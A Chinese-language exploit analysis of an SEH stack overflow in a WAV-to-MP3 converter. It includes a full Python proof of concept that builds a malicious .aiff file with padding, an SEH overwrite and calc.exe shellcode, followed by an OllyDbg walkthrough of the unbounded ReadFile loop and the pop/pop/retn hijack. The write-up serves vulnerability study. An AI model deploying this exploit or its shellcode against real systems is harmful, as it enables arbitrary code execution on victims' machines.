首先拿到poc,先看看,明显的溢出,利用的是SEH的结构
```
#!/usr/bin/python
#using=utf-8
f = open("malicious.aiff", "w")
f.write("A"*4132)
f.write("\xeb\x06\x90\x90")#nseh
f.write("\xa4\x43\x40\x00")#seh
# Shellcode:
# windows/exec - 277 bytes
# CMD=calc.exe
f.write("\x90"*20)
f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9")
f.write("\x90"*20)
f.close()
```
载入OD,然后命令执行`Bpx CreateFileW`,因为肯定会读取文件,所以直接在调用下断点就好了,然后重新载入F9运行起来,添加用poc生成的文件,点击play,会发现断下来了
![](https://images.seebug.org/contribute/a131bba6-e611-46ee-95bf-d4e7b2922bc9)
然后就F8单步慢慢走,发现走完这句就会执行shellcode,那么这个函数肯定有问题了,下个断点做标记,F7跟进去
![](https://images.seebug.org/contribute/54a7ed61-1033-4865-89ed-f71266cb8192)
继续F8单步,然而发现进入了一个循环,来看看未开始循环时部分栈的布局
```
0012EB0C 0012EB98
0012EB10 00000004
0012EB14 00000000
0012EB18 7C80189C kernel32.7C80189C
0012EB1C 00000004
0012EB20 0012EB98
0012EB24 000001F0
0012EB28 004688F4 wavtomp3.004688F4
0012EB2C 0012EB40
0012EB30 00000000
0012EB34 00000004
```
然后来看看循环十遍后部分栈的布局
```
0012EB0C 769ACFFB 返回到 ole32.769ACFFB 来自 ntdll.RtlAllocateHeap
0012EB10 00160000
0012EB14 00000000
0012EB18 41414141
0012EB1C 41414141
0012EB20 41414141
0012EB24 76AB7041 ole32.76AB7041
0012EB28 00B1AEC0
0012EB2C 00000042
0012EB30 0012EB44 UNICODE "E"
0012EB34 770F4B6A 返回到 oleaut32.770F4B6A 来自 oleaut32.770F4AE0
```
发现了没?这里就是溢出的原因,执行完这个call就会写入一个`\x41`,所以既然都到这里了,那就跟进这个call
```
004BA8C7 |. FF55 0C |call [arg.2] ; wavtomp3.004B7EDD
```
整个函数
```
004209E0 . 8B40 04 mov eax,dword ptr ds:[eax+0x4]
004209E3 . E8 D8A8FEFF call wavtomp3.0040B2C0
004209E8 . 83F8 FF cmp eax,-0x1
004209EB . 75 02 jnz short wavtomp3.004209EF
004209ED . 33C0 xor eax,eax
004209EF > C3 retn
```
再F7跟进这一句
```
004209E3 . E8 D8A8FEFF call wavtomp3.0040B2C0
```
整个函数
```
0040B2C0 /$ 53 push ebx
0040B2C1 |. 56 push esi
0040B2C2 |. 57 push edi
0040B2C3 |. 51 push ecx
0040B2C4 |. 8BF9 mov edi,ecx
0040B2C6 |. 8BF2 mov esi,edx
0040B2C8 |. 8BD8 mov ebx,eax
0040B2CA |. 6A 00 push 0x0 ; /pOverlapped = NULL
0040B2CC |. 8D4424 04 lea eax,dword ptr ss:[esp+0x4] ; |
0040B2D0 |. 50 push eax ; |pBytesRead = 000001F0
0040B2D1 |. 57 push edi ; |BytesToRead = 0x0
0040B2D2 |. 56 push esi ; |Buffer = 00000005
0040B2D3 |. 53 push ebx ; |hFile = 00B1AEC0
0040B2D4 |. E8 3FB8FFFF call <jmp.&kernel32.ReadFile>;\ReadFile
0040B2D9 |. 85C0 test eax,eax
0040B2DB |. 75 07 jnz short wavtomp3.0040B2E4
0040B2DD |. C70424 FFFFFFFF mov dword ptr ss:[esp],-0x1
0040B2E4 |> 8B0424 mov eax,dword ptr ss:[esp];wavtomp3.004209E8
0040B2E7 |. 5A pop edx ; wavtomp3.004209E8
0040B2E8 |. 5F pop edi ; wavtomp3.004209E8
0040B2E9 |. 5E pop esi ; wavtomp3.004209E8
0040B2EA |. 5B pop ebx ; wavtomp3.004209E8
0040B2EB \. C3 retn
```
你说你读取都不看看限制条件吗?完全没法忍啊!!!!!!
如果有同学想直观感受是如何溢出的,这样,在这句下断
```
004BA8C7 |. FF55 0C |call [arg.2] ; wavtomp3.004209E0
```
然后在数据区Ctrl+G,跳到`0x0012EB98`,然后一直按住F9,就会感受到`\x41`在疯狂的填充着,这是飞一样的感觉,不过4000+个A也是蛮多的
![](https://images.seebug.org/contribute/37bf2862-b431-4c39-97f6-41a28bae31ea)
好了那这里就不贪玩手动走完循环啦,毕竟年纪大了,直接来到RETN,可以看到,整个的shellcode已经布置好了
![](https://images.seebug.org/contribute/ee8ade09-1eff-4dcd-91a8-439d48864980)
结合poc里面的代码,来分析一下,整个填充的结构为
```
填充+nseh+seh+nop+shellcode
```
Nseh:这里使用常用的"\xeb\x06\x90\x90",汇编就是jmp 06 nop nop
Seh:指向的是一个执行pop pop retn的地址
为什么SEH的指令要这样写?
这是当前寄存器的布局
```
EAX 00000000
ECX 00001137
EDX 00001137
EBX 41414141
ESP 0012FBB8
EBP 41414141
ESI 41414141
EDI 41414141
EIP 004BADD0 wavtomp3.004BADD0
C 0 ES 0023 32位 0(FFFFFFFF)
P 0 CS 001B 32位 0(FFFFFFFF)
A 1 SS 0023 32位 0(FFFFFFFF)
Z 0 DS 0023 32位 0(FFFFFFFF)
S 0 FS 003B 32位 7FFDD000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00200212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty -??? FFFF 00D2D2D4 2AFCFCFE
ST1 empty -??? FFFF 00000000 2A2A2A2A
ST2 empty -??? FFFF 00000051 00510051
ST3 empty -??? FFFF 0000005D 005D005D
ST4 empty -NAN FFFF A1FEFEFF ADFEFEFF
ST5 empty -??? FFFF 0000005D 005D005E
ST6 empty 1.0000000000000000000
ST7 empty 1.0000000000000000000
3 2 1 0 E S P U O Z D I
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
FCW 1372 Prec NEAR,64 掩码 1 1 0 0 1 0
```
然后看ESP的值指向的地址, retn到这地方妥妥的触发异常啊
```
0012FBB8 41414141
0012FBBC 909006EB 指向下一个 SEH 记录的指针
0012FBC0 004043A4 SE处理程序
```
跳到我们伪造的SEH地址去看看先,顺便下个断点
![](https://images.seebug.org/contribute/8622be2f-312f-4cd1-97c8-7ca405e75290)
下好了断点然后F9欢快的跑起来,这就是`pop/pop/retn`来看看这段代码作用
```
004043A4 |. 68 64504C00 push wavtomp3.004C5064 ; |Title = "Error"
004043A9 |. 68 6C504C00 push wavtomp3.004C506C ; |Text = "Runtime error at 00000000"
004043AE |. 6A 00 push 0x0 ; |hOwner = NULL
004043B0 |. E8 33CFFFFF call <jmp.&user32.MessageBoxA> ; \MessageBoxA
004043B5 |> 5A pop edx ; ntdll.7C9232BC
004043B6 \. C3 retn
```
执行到`call Messagebox`前,栈的布局
```
0012F7E0 00000000 |hOwner = NULL
0012F7E4 004C506C |Text = "Runtime error at 00000000"
0012F7E8 004C5064 |Title = "Error"
0012F7EC 7C9232A8 \Style = 0x8|MB_ICONQUESTION|MB_DEFBUTTON3|3000|7C920080
0012F7F0 0012F8D4
0012F7F4 0012FBBC
0012F7F8 0012F8F0
0012F7FC 0012F8A8 ASCII "AAAAAAAA"
0012F800 0012FBBC 指向下一个 SEH 记录的指针
0012F804 7C9232BC SE处理程序
0012F808 0012FBBC
0012F80C /0012F8BC
0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282
```
执行完call Messagebox,因为Messagebox需要四个参数,然而只push进去3个,pop的时候会弹出去4个参数
所以现在栈的布局
```
0012F7F0 0012F8D4
0012F7F4 0012FBBC
0012F7F8 0012F8F0
0012F7FC 0012F8A8 ASCII "AAAAAAAA"
0012F800 0012FBBC 指向下一个 SEH 记录的指针
0012F804 7C9232BC SE处理程序
0012F808 0012FBBC
0012F80C /0012F8BC
0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282
```
然后执行`pop edx`,又弹出去一个
```
0012F7F4 0012FBBC
0012F7F8 0012F8F0
0012F7FC 0012F8A8 ASCII "AAAAAAAA"
0012F800 0012FBBC 指向下一个 SEH 记录的指针
0012F804 7C9232BC SE处理程序
0012F808 0012FBBC
0012F80C /0012F8BC
0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282
```
到了retn的时候,现在的esp的值为`0x0012F7F4`,而`0x0012F7F4`处的值为`0x0012FBBC`
也就是会返回我们伪造的SEH地址,单步retn可以看到到了nseh的代码段
![](https://images.seebug.org/contribute/b609b490-50c4-45c8-9023-6b040b3e69bf)
然后最终的运行效果就是一个计算器
![](https://images.seebug.org/contribute/1d05aa83-36a9-43bd-903c-16191da9d111)
全部评论 (2)